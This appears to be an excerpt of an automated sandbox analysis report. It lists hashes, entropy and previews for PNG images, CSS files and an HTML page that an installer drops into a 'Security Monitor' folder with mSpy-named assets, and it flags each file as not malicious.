Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-ENJMA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-EOMK7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-I8Q5V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-TGDMF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\is-DHNA5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\anythingslider.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\blue-arr-buy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\core-ui-select.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-1O11V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-6P1D7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-8VVPL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-AETIL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
